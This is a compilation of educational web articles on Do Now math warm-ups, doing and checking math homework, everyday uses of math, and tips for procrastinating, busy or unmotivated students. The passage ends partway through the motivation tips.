Do Now Math Worksheets

Do Now worksheets are simply a super small quiz. We like to give them at the beginning of every class. It should review skills that students have learned in the past. We tend to aim for three questions that should take a maximum of 10 minutes. It helps students focus at the start of class and provides a quick assessment. Many of our teachers have this either count as part of the student's homework grade or even have it replace homework entirely. These do nows can be used throughout the year as both review and anticipation of what is to come.

Update: All of this work is aligned to the core math curriculum by grade level . We have completely redone all of this section to reflect these newer standards. We review the standards every 6 months to make sure they are still fully aligned.

What Are Do Now Math Worksheets?

Do nows are brief activities performed at the beginning of a class or lesson. They help to set the tone for the rest of the day. They are used throughout elementary and secondary schools as a constructive teaching technique.

Do nows help children loosen up, get ready and get in the mood for the day. They are short tasks before a lengthy lesson that orients students to the particular subject they will be studying. Students should have something to do in class whenever they walk in. It will make them wonder about what they are supposed to learn in class that day.

How Long Should Your Do Now Activity Be?

A 3-5 minute long task is enough to get the students engaged for the upcoming lessons, or for a revision of the previous day’s work. The do nows should include some variety as well every day, to avoid making them boring and monotonous.

The short projects will allow you as a teacher to check the level of understanding and common mistakes made by students and address them properly.

It should not be boring and feel like a lengthy quiz, and it should provide you with an assessment of how you are supposed to plan your teaching approach.

Making the do nows too long will make it a lesson and not a fun activity. It will drain the energy of students as they will regard the do nows as an exhausting lecture instead of a chance to get ready for the day. The do nows should be short and fun, maximum of 5 minutes, just to set the tone for the upcoming class.

Do not give the students too much information. Give them a small chunk of a general review or a simple, engaging fact about the lesson they are going to be learning in detail later on. Giving them a concise activity will grab their attention and make sure they do well in the class.

Examples of Do Now Activities

- You can ask them to deliver a line as soon as they walk in, telling the class what they are looking forward to learning in the class.

- Ask them to write 4-5 lines of expectations regarding the next lesson.

- Give them a blank sheet to draw or illustrate and label a particular topic they had learned the day before.

- Instructions should be clear and posted or written on the board, allowing them to work independently.

- A do now can be related to what they worked on the previous day, or what they are going to do in the next class.

- You can also have a casual discussion in the classroom, allowing every student to express their opinions without any pressure.

- Ask them to list the points they can remember from the last lesson.

What the Huge Benefits?

- It increases the focus of students and time management, and prepares students by getting warmed up and stimulated for the class.

- It allows the teachers to check the level of understanding of students.

- It streamlines the attention of students and makes the teaching job more effective.

- The do now activities reduce student behavior problems and will encourage them to have better participation in the classroom.

- It maximizes learning and creates a proper learning time.

- Since do nows are part of a routine for your students at the beginning of their day, the students will be keen to begin their day with it.

- They will already know that lessons are started with do-now activities. This will make sure that any waste of time is avoided since learning for the day begins immediately.

- Do nows will also allow you to check-in to see which student needs help in a certain area. This also allows teachers to gauge the mood of students, whether they are anxious about a topic, or just tired.

- It develops confidence in students and helps them perform their work based on self-reliance.

What Makes an Effective Do Now?

There are 3 critical elements for a do now.

- It should be focused.

- It should be efficient.

- It should be effective.

There are some practices that make sure that your do nows are implemented with minimum effort and maximum outcomes.

- Activity is in the same place every day:

It should becomea habit for all the students and teachers to gather at a particular place at the start of their day or lesson. The place for the do now activity can be communicated to students through writing on board, or distributing notice papers to students and teachers.

You can also print the do now activity worksheets and ask students to pick them up as they enter the building, or hand them to students in their classrooms.

- Working independently:

Students should be able to perform and observe their do now activities independently without any interruption by other classmates or teachers. You should also avoid checking in with their work frequently because that will make them anxious to perform better on the activity.

If there is some instruction that needs to be communicated throughout the activity, write in on the same paper they are working on or write it on the board.

- Positive attitude:

When do now activities are successfully completed, they will generate a positive attitude in students and they will be more eager to continue with the learning.

Easy tasks should be provided to students at the beginning of lessons that reflect their individual thought processes and give them encouragement. This begins the lessons with positive emotions and good energy. It also improves engagement in the learning process and ensures better results and outcomes of the activity.

The do now activities should be a recap of the lessons of the previous day or practice for the new lessons that students are going to learn. If the students learned the topic of plants the day before, give them a picture of the plant the next day and ask them to label and color the roots, the stem, leaves, and flowers. Similarly, you can give them an outline of the shape of a country at the beginning of class and ask them to guess which country’s map it could be, if you are planning on teaching geography lessons next.

How to Do Your Homework

Doing your homework can be frustrating or rewarding.  Most students jump right into their homework, become frustrated and stop studying.  These students usually go directly to the math problems and start working them without any preparation.  When they get stuck on one problem, they flip to the back of the text for the answer.  Then, they either try to work the problem backward, to understand the problem steps, or they just copy down the answer.

Other students go to the solution guide and just copy the steps.  After getting stuck several times, these students will inevitably quit doing their homework assignment.  Their homework becomes a frustrating experience, and they may even quit doing their math homework altogether.

To improve your homework success and learning, refer to the following 10 steps.

10 Steps to Doing Your Homework

Step 1 - Review the textbook material that relates to the homework.  A proper review will increase the chances of successfully completing your homework.  If you get stuck on a problem, you will have a better chance of remembering the location of similar problems.  If you do not review prior to doing your homework, you could get stuck and not know where to find help in the textbook.

Remember : To be successful in learning the material and in completing homework assignments, you must first review your textbook.

Step 2 - Review your lecture notes that relate to the homework.  If you could not understand the explanation of the textbook on how to complete the homework assignment, then review your related notes.

Remember : Reviewing your notes will give you a better idea about how to complete your homework assignment.

Step 3 - Do your homework as neatly as possible.  Doing your homework neatly has several benefits.  When approaching your instructor about problems with your homework, he or she will be able to understand your previous attempts to solve the problem.  The instructor will easily locate the mistakes and show you how to correct the steps without having to decipher your handwriting.  Another benefit is that, when you review for midterm or final exams, you can quickly relearn the homework material without having to decipher your own writing.

Remember : Neatly prepared homework can help you now and in the future.

Step 4 - When doing your homework, write down every step of the problem.  Even if you can do the step in your head, write it down anyway.  This will increase the amount of homework time, but you are over learning how to solve problems, which improves your memory.  Doing every step is an easy way to memorize and understand the material.  Another advantage is that when you rework the problems you did wrong, it is easy to review each step to find the mistake.

Remember : In the long run, doing every step of the homework will save you time and frustration.

Step 5 - Understand the reasons for each problem step and check your answers.  Do not get into the bad habit of memorizing how to do problems without knowing the reasons for each step.  Many students are smart enough to memorize procedures required to complete a set of homework problems.  However, when similar homework problems are presented on a test, the student cannot solve the problems.  To avoid this dilemma, keep reminding yourself about the rules, laws, or properties used to solve problems.

Example : Problem: 2(a + 5) = 0.  What property allows you to change the equation to 2a + 10 = 0?   Answer : The distributive property.

Once you know the correct reason for going from one step to another in solving a math problem, you can answer any problem requiring that property.  Students who simply memorize how to do problems instead of understanding the reasons for correctly working the steps will eventually fail their math course.

How to Check Your Answers

Checking your homework answers should be part of your homework duties.  Checking your answers can improve your learning and help you prepare for tests.

Check the answers of the problems for which you do not have the solutions.  This may be the even-numbered or odd-numbered problems or the problems not answered in the solutions manual.

First, check your answer by estimating the correct answer.

Example : If you are multiplying 2.234 by 5.102, estimate: because 2 times 5 is 10, the answer to 2.234 times 5.102 should by a little over 10 .

You can also check your answers by substituting the answer back into the equation or doing the opposite function required to answer the question.  The more answers you check, the faster you will become.  This is very important because increasing your answer checking speed can help you catch careless errors on future tests.

Step 6 - If you do not understand how to do a problem, refer to the following points.

Point 1 - Review the textbook material that relates to the problem.

Point 2 - Review the lecture notes that relate to the problem.

Point 3 - Review any similar problems, diagrams, examples or rules that explain the misunderstood material.

Point 4 - Refer to another math textbook, solutions guide, math computer program software or video tape to obtain a better understanding of the material.

Point 5 - Call your study buddy.

Point 6 - Skip the problem for now, but contact your tutor or math instructor as soon as possible for help.

Step 7 - Always finish your homework by successfully completing problems.  Even if you get stuck, go back and successfully complete previous problems before quitting.  You want to end your homework assignment with feelings of success.

Step 8 - After finishing your homework assignment, recall to yourself or write down the most important learned concepts.  Recalling this information will increase your ability to learn these new concepts.

Step 9 - Make up note cards containing hard-to-remember problems or concepts.  Note cards are an excellent way to review material for a test.

Step 10 - Getting behind in math homework is academic suicide.  Math is a sequential learning process.  If you get behind, it is difficult to catch up because each topic builds on the next.  It would be like going to Spanish class without learning the last set of vocabulary words.  The teacher would be talking to you using the new vocabulary, but you would not understand what was being said.

6 Tips for Making the Most of Math Homework

Is homework effective? Educators seem to be evenly split on this question. Some insist that homework is essential because students need to review and practice skills at home. Others argue that it’s a waste of time and a burden on families, especially when some parents are not willing or able to help with homework. Even worse, some parents who genuinely want to help may teach the skill incorrectly, causing you to have to reteach it the next day.

Personally, I feel that homework can be very effective, especially in math, if you keep these tips in mind:

• Before assigning homework, make sure the majority of your students are at least somewhat proficient with the skill so they can experience success at home.
• Keep homework assignments short and to the point. Why assign 30 problems if all they need is 5?
• Only assign homework to those who need it. If a student has mastered a skill with 100% accuracy, why should he or she have to do the homework? Use the Quick Check formative assessment strategy described below to find out who needs additional practice and who doesn’t.
• Only assign homework to those who will benefit from it. If they don’t have a clue about how to complete the problems, homework on that skill is a waste of time. Furthermore, the resulting feelings of frustration can negatively impact the way students feel about math. Instead, differentiate the assignment by giving those students something easier or deferring the assignment until after they receive more help at school.
• Consider the level of parent support and your students’ home environments. If the majority of them will not be able to get help at home, and are more worried about where their next meal is coming from than the day’s assignment, you may want to greatly reduce the homework load.
• Rather than collecting homework and grading it, simply check off whether or not the student attempted ALL problems. Start each class period with a review and discussion of the previous day’s work. Expect students to be able to explain HOW they solved their problems, and don’t give them credit for the work if they can’t explain it.

Quick Check Formative Assessments

• Post four or five problems on a flip chart or on the board.
• Ask students to work the problems out on paper and transfer their answers to a dry erase board. If they are seated close together, have them put up barriers like notebooks or folders for privacy.
• Tell your students that they will have only ONE chance to show you their boards and try to earn their way out of the homework assignment. If they make even one careless error, they will have to complete the homework! Stick to your guns on this one!
• Ask students flip their dry erase boards face down when they are ready for you to check answers.
• Walk around the room with a checklist, and quickly peek at each board. Write the score on the student’s board and record it on your student checklist. Keep this list so you can refer to it the next day when checking off homework.
• Give your students a reasonable amount of time for the work, but there’s no need to wait until all children finish. If it takes them a long time, they need more practice at home.
• After most students are finished, review the assignment and discuss each problem so students understand the ones they missed.
• Post the homework assignment, and be sure the students who scored 100% know they are excused from doing the work.

Most people who work hard on their homework want to make sure that they are doing it correctly. When you are working from home, however, you don’t have your teacher to tell you whether or not your answers are correct. There are a number of ways to check math work you do outside of school. By checking your own work, having someone else check your work, or using online tools, you can make sure your solutions are correct before turning in your work.

Checking By Yourself

• If you are doing multiplication, you can check your work by doing repeated addition.

Asking for Help

• Some good sites for going over how to do math problems quickly are Math is Fun [5] X Research source and Virtual Nerd. [6] X Research source

• When you compare your answer with a friend, make sure you are not just changing your answers without learning where you made your mistake. If your friend found the correct answer, have him or her show you how to solve the problem.

• If you do your work at home but don’t feel confident about it, talk to your teacher as soon as possible the next day. They can quickly check your work, and you might have time to correct your answers before turning it in. Likely, you will get credit for trying your best.

Using Resources

• Work through your problems first, and only use the calculator to check your answers. You need to show your work so that your teacher knows you understand how to solve the problems.
• If you don’t have a calculator, you can find a number of online calculators by simply searching for them on Google.

• For algebra, you can use an equation calculator, like Symbolab. [7] X Research source
• For geometry, you can simply type what you are looking for into Google, and a calculator will pop up. For example, if you are finding the area of a triangle, type “area of a triangle” into Google. Then insert your known values into the calculator (such as base and height), and Google will supply the answer.
• There are a number of converters online. Math is Fun has a unit converter that can help you convert from one unit of measurement to another, such as inches to centimeters. [8] X Research source Convert Me has conversion calculators for most measurements, including speed, temperature, and capacity. [9] X Research source

• As when using a calculator or online tools, try doing the problems on your own first, then check your answers.

About this article

To check your math homework yourself, try plugging your answer back into the equation you started with. For example, if you solved for x, plug the value you got for x into the equation and check to see if the equation makes sense. If it doesn't, you know there's something off about your answer. Another way you can check your work is by using an alternative method to solve the problem. If you get the same answer using a different method, there's a good chance your original answer was right. For example, if you're trying to solve 45×3, you could also solve the problem using addition by adding 45+45+45 to get 135. If 135 is the answer you got using multiplication, you know your answer is correct. For more expert math-checking tips, read the full article below! Did this summary help you? Yes No

Top 8 Places We Use Math in Everyday Life

By Chloe Jade Skye , Mathnasium Instructor

“But when am I ever going to need it?” It’s one of the most common questions kids ask when they’re told to study, do their homework, or get back to the task at hand. When you’re in school, it’s hard to understand the ways that what you’re learning is going to come in handy later in life. It’s hard to know how the skills are going to be applicable—especially if their career of choice seemingly doesn’t involve mathematical skills. But we all use math every day, whether we’re aware of it or not. Here are the top places where.

1. Telling Time

There are a lot of math concepts you need to understand in order to know how to tell time. You need to know that there are 24 hours in a day, that we split those days into two equal-sized 12-hour halves, that each hour is 60 minutes, and that each minute is 60 seconds. We have to have a general understanding of how long a “second” is. And we have to understand fractions. Yes, fractions. It’s built into our language. When you tell someone it’s “a quarter-to four,” you’re telling them that a quarter of an hour remains until it becomes four o’clock. In order to understand what that means, you also have to know that “a quarter,” or “one fourth,” is the same as “15 minutes.” 15 is one-fourth of 60, which is the number of minutes in an hour. So a “quarter-to” or “quarter-past” an hour is an extremely mathematical sentence that is so commonplace, many people don’t even know they’re doing math when they say it.

2. Working Any Job

How much do you make an hour? That’s a rhetorical question, obviously. But… is it a good amount? A bad amount? How do you even know? How many hours do you need to work in a week in order to make enough money to pay your bills? It’s fairly basic math, but you need to know how to work with multiplication, variables, and time in order to know how much money you’re making. If you just work and work and hope that you have enough money in your paycheck to cover your life… things aren’t going to be easy. Especially once you’re working on a budget, it becomes necessary to know how much money you need to make in a day, or in a week, or in an hour to support your lifestyle.

3. Shopping

How much is this shirt or blouse going to cost once the 40% sale is applied? What about once the 8% tax is added? What if it’s advertised as “half-off,” or “20% off the sale price”? Are you going to gather your things, head up to the cashier, and hope for the best? Or would you rather know ahead of time whether you’re able to afford the clothes you’d like without breaking the bank? That takes math knowledge, and at least a basic understanding of how percentages work.

The recipe calls for “2 tablespoons” of sugar. You only have a teaspoon, or a soup spoon. The recipe calls for “3/4 cup,” but you only have a quarter cup measuring tool and a half cup measuring tool. How much adds up to “3/4”? You may know the answer. But that’s because you understand math, fractions, and conversions. Changing teaspoons to tablespoons is one thing, changing pounds to kilograms is another. You’ll rarely need the larger conversions in cooking… unless you’re planning on taking a trip to another country. There, you’ll either need to adjust by buying new cooking tools, or you’ll bring your own and hope you know how to convert ounces to grams.

5. Decorating

How many square feet of paint do we need for this wall? What’s the difference between a foot and a square foot? What if we only have a yardstick, or a meter stick? What do the two different sides of the measuring tape even mean? Is there enough space in here for the couch we want? These are all questions that come up fairly often when you’re decorating a home or apartment. And they’re questions that you need to be able to answer before you get to the store, or else you’re leaving empty-handed after having an unfortunately awkward conversation with the sales representative who wasn’t able to help you without the dimensions and measurements of the space you’re trying to decorate. It seems fairly simple… if you know how to do math.

Operating a car or motorcycle is ultimately nothing but a series of calculations. How many miles to the destination? How much gas in the car? How many miles per hour am I able to drive? How many miles per gallon does my car get? Oh no, I’ve hit a traffic jam, and now my pace has slowed, am I still going to make it to work on time? All of these questions are extremely easily answered with basic math skills. Otherwise, you’re sitting there hoping that things magically work out. But it’s possible to account for it on your own. This of course also brings into consideration “time management,” which we’ve already talked about in #1 above.

7. Critical Thinking

This isn’t even technically “math.” There are no numbers involved. But being able to think critically is a skill that is strengthened by learning math. The more math skills you gain, the more you learn to pay attention to details, question information, rule out unnecessary information, and analyze data. Word problems, even from a young age, require you to be able to recognize which information is useful and which information is irrelevant. The stronger your logic skills become, the more efficient you will be in your everyday life, and the more you will be able to navigate the society we’ve built for ourselves.

8. Watching the News

The polls are in! 71% of people believe… well, wait. What does that mean? And, 71% of which people? How are these results calculated? If you don’t know what the statistics that you’re being given mean, you’re stuck having to listen to the reporter or the person telling you about the study, rather than being able to decipher the complicated results on your own. Math is necessary in both gathering and interpreting the data.

I’ve barely scratched the surface. There are dozens of other places we use math in our everyday lives. Some of them are less common, but math is an invaluable skillset in terms of surviving in this world. If there’s something mathematical that you or your children don’t know, it can only benefit you to seek out a way to learn and understand it.

Tips for Parents:

• Point out when math is being used in daily life. Ask mathematical questions about the time, how many minutes until the next hour, how many cups are needed in recipes, the fact that they’re calculating how long they have left to live in their video games… kids are using math even when they don’t know it. And even if it annoys them, it will slowly sink in that math is something that is used everywhere.
• Learn new math skills. If your child’s math homework is starting to get beyond your own understanding, which is a comment that I’m hearing more and more often, take the time to learn supplementary or complementary math skillsets. Even if you can’t help with their homework, you can still teach them something and be valuable in their lives.
• Buy a conversion chart. Whether you put it up on the fridge, or have it available in a drawer, it’s an easy way to ingrain the conversion tables of kilometers to miles, grams to ounces, or liters to gallons. They’re skills that don’t come up often, but are extremely handy to know.

Is It Necessary To Do Math Homework?

Mathematics is one of the most important courses in every school curriculum. After a lengthy study, students are expected to be able to perform both simple and intricate math calculations. Teachers not only teach this subject during regular class hours but also give homework to help students improve their knowledge. Math homework is necessary for a variety of reasons.

These are some of them:

Memory and cognitive capacity are improved. It’s important to remember that whatever a teacher teaches in class only accounts for a small portion of what a student is required to know. As a result, the student’s individual learning efforts contribute a larger amount. In this situation, if a student intends to pursue further education at the college or university level, he or she must master the art of independent study. Students can recall what they learned during tests or in real-life applications if they perform things on their own. As a result, math homework improves a student’s memory and critical thinking skills.

Instill good habits and study skills. When teachers assign math homework to students at lower academic levels, they are attempting to instill in them the importance of learning independently. Students who finish homework in lower classes perform better in higher levels of learning, according to studies, because teachers in those institutions do not waste time tracking students down for their tasks.

Exam preparation is essential. Exams are an important part of the learning process in all educational institutions. Teachers and parents may not be able to determine a student’s strengths and weaknesses without them. When teachers assign math homework to pupils, they do so as a means of improving their skills and sharpening their knowledge in preparation for their exams. As a result, the more math homework a student can finish, the better prepared they will be for tests.

Develop research skills. Teachers do not expect students to remember all of the knowledge when they give them math assignments. The assignment of math homework allows pupils to conduct research. Data is a tool for generating critical judgments in modern times. The ability to acquire and analyze data from a variety of sources improves a student’s research abilities. Furthermore, thanks to current technology, students now have access to online tutors who can help them with their “do my math for me” requests. Because some students are embarrassed to raise questions in class, online tutors give them a place to ask questions and get help with their math homework.

Encourages pupils to go over their notes in class. Teachers frequently assign homework based on what they have covered in class. In this instance, students can complete their assignments quickly without having to hunt for additional sources of information. If students were not given homework, there is a good probability they would spend the entire evening wasting their time and never reviewing their classwork.

Allows parents to learn about what their children are learning in class. When it comes to the well-being of students, parents are crucial. It’s necessary to recognize that getting kids to school is an important element of their development. School assists youngsters in developing the core learning abilities they require. Teachers provide parents the opportunity to examine what their children are learning in class when they assign math homework. The parent has a responsibility to assist the child during the assessment procedure. It’s important to remember that when a parent assists their child with math homework, they’re not only helping them learn something new, but they’re also strengthening the link between the parent and the child.

Allows teachers to assess the effectiveness of their lessons. Teachers might use homework to determine whether the lessons and materials they are delivering in class are effective. It serves as a platform for them to learn. When a teacher offers a math assignment, and a major portion of the class fails, this indicates that the students did not understand what the teacher was teaching. As a result, the instructor is pushed to discover a simpler way to teach their students and ensure that they understand the topics.

Oryx learning is an interactive learning platform that helps children in boosting their educational development by engaging them in different activities for learning and solving problems. It provides the option to teachers and parents of giving online homework and assignments with flexible deadlines for submission catering individual needs of learners. Teachers and parents have the option of assigning topics and skills in which their students or children need to strengthen. They can also view the progress report and identify the weak areas.

In a nutshell, math homework is important for students, instructors, and parents for a variety of reasons. It serves as a platform for parents to track their children’s development in school as well as a learning tool for kids and teachers. Contrary to what some stakeholders suggest, math homework is a crucial part of learning.

So let’s get started!

How to Do Homework: Figure Out Your Struggles 

Sometimes it feels like everything is standing between you and getting your homework done. But the truth is, most people only have one or two major roadblocks that are keeping them from getting their homework done well and on time. 

The best way to figure out how to get motivated to do homework starts with pinpointing the issues that are affecting your ability to get your assignments done. That’s why we’ve developed a short quiz to help you identify the areas where you’re struggling. 

Take the quiz below and record your answers on your phone or on a scrap piece of paper. Keep in mind there are no wrong answers! 

1. You’ve just been assigned an essay in your English class that’s due at the end of the week. What’s the first thing you do?

A. Keep it in mind, even though you won’t start it until the day before it’s due  B. Open up your planner. You’ve got to figure out when you’ll write your paper since you have band practice, a speech tournament, and your little sister’s dance recital this week, too.  C. Groan out loud. Another essay? You could barely get yourself to write the last one!  D. Start thinking about your essay topic, which makes you think about your art project that’s due the same day, which reminds you that your favorite artist might have just posted to Instagram...so you better check your feed right now. 

2. Your mom asked you to pick up your room before she gets home from work. You’ve just gotten home from school. You decide you’ll tackle your chores: 

A. Five minutes before your mom walks through the front door. As long as it gets done, who cares when you start?  B. As soon as you get home from your shift at the local grocery store.  C. After you give yourself a 15-minute pep talk about how you need to get to work.  D. You won’t get it done. Between texts from your friends, trying to watch your favorite Netflix show, and playing with your dog, you just lost track of time! 

3. You’ve signed up to wash dogs at the Humane Society to help earn money for your senior class trip. You: 

A. Show up ten minutes late. You put off leaving your house until the last minute, then got stuck in unexpected traffic on the way to the shelter.  B. Have to call and cancel at the last minute. You forgot you’d already agreed to babysit your cousin and bake cupcakes for tomorrow’s bake sale.  C. Actually arrive fifteen minutes early with extra brushes and bandanas you picked up at the store. You’re passionate about animals, so you’re excited to help out! D. Show up on time, but only get three dogs washed. You couldn’t help it: you just kept getting distracted by how cute they were!

4. You have an hour of downtime, so you decide you’re going to watch an episode of The Great British Baking Show. You: 

A. Scroll through your social media feeds for twenty minutes before hitting play, which means you’re not able to finish the whole episode. Ugh! You really wanted to see who was sent home!  B. Watch fifteen minutes until you remember you’re supposed to pick up your sister from band practice before heading to your part-time job. No GBBO for you!  C. You finish one episode, then decide to watch another even though you’ve got SAT studying to do. It’s just more fun to watch people make scones.  D. Start the episode, but only catch bits and pieces of it because you’re reading Twitter, cleaning out your backpack, and eating a snack at the same time.

5. Your teacher asks you to stay after class because you’ve missed turning in two homework assignments in a row. When she asks you what’s wrong, you say: 

A. You planned to do your assignments during lunch, but you ran out of time. You decided it would be better to turn in nothing at all than submit unfinished work.  B. You really wanted to get the assignments done, but between your extracurriculars, family commitments, and your part-time job, your homework fell through the cracks.  C. You have a hard time psyching yourself to tackle the assignments. You just can’t seem to find the motivation to work on them once you get home.  D. You tried to do them, but you had a hard time focusing. By the time you realized you hadn’t gotten anything done, it was already time to turn them in. 

Like we said earlier, there are no right or wrong answers to this quiz (though your results will be better if you answered as honestly as possible). Here’s how your answers break down: 

• If your answers were mostly As, then your biggest struggle with doing homework is procrastination. 
• If your answers were mostly Bs, then your biggest struggle with doing homework is time management. 
• If your answers were mostly Cs, then your biggest struggle with doing homework is motivation. 
• If your answers were mostly Ds, then your biggest struggle with doing homework is getting distracted. 

Now that you’ve identified why you’re having a hard time getting your homework done, we can help you figure out how to fix it! Scroll down to find your core problem area to learn more about how you can start to address it. 

And one more thing: you’re really struggling with homework, it’s a good idea to read through every section below. You may find some additional tips that will help make homework less intimidating. 

How to Do Homework When You’re a Procrastinator  

Merriam Webster defines “procrastinate” as “to put off intentionally and habitually.” In other words, procrastination is when you choose to do something at the last minute on a regular basis. If you’ve ever found yourself pulling an all-nighter, trying to finish an assignment between periods, or sprinting to turn in a paper minutes before a deadline, you’ve experienced the effects of procrastination. 

If you’re a chronic procrastinator, you’re in good company. In fact, one study found that 70% to 95% of undergraduate students procrastinate when it comes to doing their homework. Unfortunately, procrastination can negatively impact your grades. Researchers have found that procrastination can lower your grade on an assignment by as much as five points ...which might not sound serious until you realize that can mean the difference between a B- and a C+. 

Procrastination can also negatively affect your health by increasing your stress levels , which can lead to other health conditions like insomnia, a weakened immune system, and even heart conditions. Getting a handle on procrastination can not only improve your grades, it can make you feel better, too! 

The big thing to understand about procrastination is that it’s not the result of laziness. Laziness is defined as being “disinclined to activity or exertion.” In other words, being lazy is all about doing nothing. But a s this Psychology Today article explains , procrastinators don’t put things off because they don’t want to work. Instead, procrastinators tend to postpone tasks they don’t want to do in favor of tasks that they perceive as either more important or more fun. Put another way, procrastinators want to do things...as long as it’s not their homework! 

3 Tips f or Conquering Procrastination 

Because putting off doing homework is a common problem, there are lots of good tactics for addressing procrastination. Keep reading for our three expert tips that will get your homework habits back on track in no time. 

#1: Create a Reward System

Like we mentioned earlier, procrastination happens when you prioritize other activities over getting your homework done. Many times, this happens because homework...well, just isn’t enjoyable. But you can add some fun back into the process by rewarding yourself for getting your work done. 

Here’s what we mean: let’s say you decide that every time you get your homework done before the day it’s due, you’ll give yourself a point. For every five points you earn, you’ll treat yourself to your favorite dessert: a chocolate cupcake! Now you have an extra (delicious!) incentive to motivate you to leave procrastination in the dust. 

If you’re not into cupcakes, don’t worry. Your reward can be anything that motivates you . Maybe it’s hanging out with your best friend or an extra ten minutes of video game time. As long as you’re choosing something that makes homework worth doing, you’ll be successful. 

#2: Have a Homework Accountability Partner 

If you’re having trouble getting yourself to start your homework ahead of time, it may be a good idea to call in reinforcements . Find a friend or classmate you can trust and explain to them that you’re trying to change your homework habits. Ask them if they’d be willing to text you to make sure you’re doing your homework and check in with you once a week to see if you’re meeting your anti-procrastination goals. 

Sharing your goals can make them feel more real, and an accountability partner can help hold you responsible for your decisions. For example, let’s say you’re tempted to put off your science lab write-up until the morning before it’s due. But you know that your accountability partner is going to text you about it tomorrow...and you don’t want to fess up that you haven’t started your assignment. A homework accountability partner can give you the extra support and incentive you need to keep your homework habits on track. 

#3: Create Your Own Due Dates 

If you’re a life-long procrastinator, you might find that changing the habit is harder than you expected. In that case, you might try using procrastination to your advantage! If you just can’t seem to stop doing your work at the last minute, try setting your own due dates for assignments that range from a day to a week before the assignment is actually due. 

Here’s what we mean. Let’s say you have a math worksheet that’s been assigned on Tuesday and is due on Friday. In your planner, you can write down the due date as Thursday instead. You may still put off your homework assignment until the last minute...but in this case, the “last minute” is a day before the assignment’s real due date . This little hack can trick your procrastination-addicted brain into planning ahead!

How to Do Homework When You’re too Busy

If you’re aiming to go to a top-tier college , you’re going to have a full plate. Because college admissions is getting more competitive, it’s important that you’re maintaining your grades , studying hard for your standardized tests , and participating in extracurriculars so your application stands out. A packed schedule can get even more hectic once you add family obligations or a part-time job to the mix. 

If you feel like you’re being pulled in a million directions at once, you’re not alone. Recent research has found that stress—and more severe stress-related conditions like anxiety and depression— are a major problem for high school students . In fact, one study from the American Psychological Association found that during the school year, students’ stress levels are higher than those of the adults around them. 

For students, homework is a major contributor to their overall stress levels . Many high schoolers have multiple hours of homework every night , and figuring out how to fit it into an already-packed schedule can seem impossible. 

3 Tips for Fitting Homework Into Your Busy Schedule

While it might feel like you have literally no time left in your schedule, there are still ways to make sure you’re able to get your homework done and meet your other commitments. Here are our expert homework tips for even the busiest of students. 

#1: Make a Prioritized To-Do List 

You probably already have a to-do list to keep yourself on track. The next step is to prioritize the items on your to-do list so you can see what items need your attention right away. 

Here’s how it works: at the beginning of each day, sit down and make a list of all the items you need to get done before you go to bed. This includes your homework, but it should also take into account any practices, chores, events, or job shifts you may have. Once you get everything listed out, it’s time to prioritize them using the labels A, B, and C. Here’s what those labels mean:

• A Tasks : tasks that have to get done—like showing up at work or turning in an assignment—get an A. 
• B Tasks : these are tasks that you would like to get done by the end of the day but aren’t as time sensitive. For example, studying for a test you have next week could be a B-level task. It’s still important, but it doesn’t have to be done right away.
• C Tasks: these are tasks that aren’t very important and/or have no real consequences if you don’t get them done immediately. For instance, if you’re hoping to clean out your closet but it’s not an assigned chore from your parents, you could label that to-do item with a C.

Prioritizing your to-do list helps you visualize which items need your immediate attention, and which items you can leave for later. A prioritized to-do list ensures that you’re spending your time efficiently and effectively, which helps you make room in your schedule for homework. So even though you might really want to start making decorations for Homecoming (a B task), you’ll know that finishing your reading log (an A task) is more important. 

#2: Use a Planner With Time Labels

Your planner is probably packed with notes, events, and assignments already. (And if you’re not using a planner, it’s time to start!) But planners can do more for you than just remind you when an assignment is due. If you’re using a planner with time labels, it can help you visualize how you need to spend your day.

A planner with time labels breaks your day down into chunks, and you assign tasks to each chunk of time. For example, you can make a note of your class schedule with assignments, block out time to study, and make sure you know when you need to be at practice. Once you know which tasks take priority, you can add them to any empty spaces in your day. 

Planning out how you spend your time not only helps you use it wisely, it can help you feel less overwhelmed, too . We’re big fans of planners that include a task list ( like this one ) or have room for notes ( like this one ). 

#3: Set Reminders on Your Phone 

If you need a little extra nudge to make sure you’re getting your homework done on time, it’s a good idea to set some reminders on your phone. You don’t need a fancy app, either. You can use your alarm app to have it go off at specific times throughout the day to remind you to do your homework. This works especially well if you have a set homework time scheduled. So if you’ve decided you’re doing homework at 6:00 pm, you can set an alarm to remind you to bust out your books and get to work. 

If you use your phone as your planner, you may have the option to add alerts, emails, or notifications to scheduled events . Many calendar apps, including the one that comes with your phone, have built-in reminders that you can customize to meet your needs. So if you block off time to do your homework from 4:30 to 6:00 pm, you can set a reminder that will pop up on your phone when it’s time to get started. 

This dog isn't judging your lack of motivation...but your teacher might. Keep reading for tips to help you motivate yourself to do your homework.

How to Do Homework When You’re Unmotivated 

At first glance, it may seem like procrastination and being unmotivated are the same thing. After all, both of these issues usually result in you putting off your homework until the very last minute. 

But there’s one key difference: many procrastinators are working, they’re just prioritizing work differently. They know they’re going to start their homework...they’re just going to do it later. 

Conversely, people who are unmotivated to do homework just can’t find the willpower to tackle their assignments. Procrastinators know they’ll at least attempt the homework at the last minute, whereas people who are unmotivated struggle with convincing themselves to do it at a ll. For procrastinators, the stress comes from the inevitable time crunch. For unmotivated people, the stress comes from trying to convince themselves to do something they don’t want to do in the first place. 

Here are some common reasons students are unmotivated in doing homework : 

• Assignments are too easy, too hard, or seemingly pointless 
• Students aren’t interested in (or passionate about) the subject matter
• Students are intimidated by the work and/or feels like they don’t understand the assignment 
• Homework isn’t fun, and students would rather spend their time on things that they enjoy 

To sum it up: people who lack motivation to do their homework are more likely to not do it at all, or to spend more time worrying about doing their homework than...well, actually doing it.

3 Tips for How to Get Motivated to Do Homework

The key to getting homework done when you’re unmotivated is to figure out what does motivate you, then apply those things to homework. It sounds tricky...but it’s pretty simple once you get the hang of it! Here are our three expert tips for motivating yourself to do your homework. 

#1: Use Incremental Incentives

When you’re not motivated, it’s important to give yourself small rewards to stay focused on finishing the task at hand. The trick is to keep the incentives small and to reward yourself often. For example, maybe you’re reading a good book in your free time. For every ten minutes you spend on your homework, you get to read five pages of your book. Like we mentioned earlier, make sure you’re choosing a reward that works for you! 

So why does this technique work? Using small rewards more often allows you to experience small wins for getting your work done. Every time you make it to one of your tiny reward points, you get to celebrate your success, which gives your brain a boost of dopamine . Dopamine helps you stay motivated and also creates a feeling of satisfaction when you complete your homework !  

#2: Form a Homework Group 

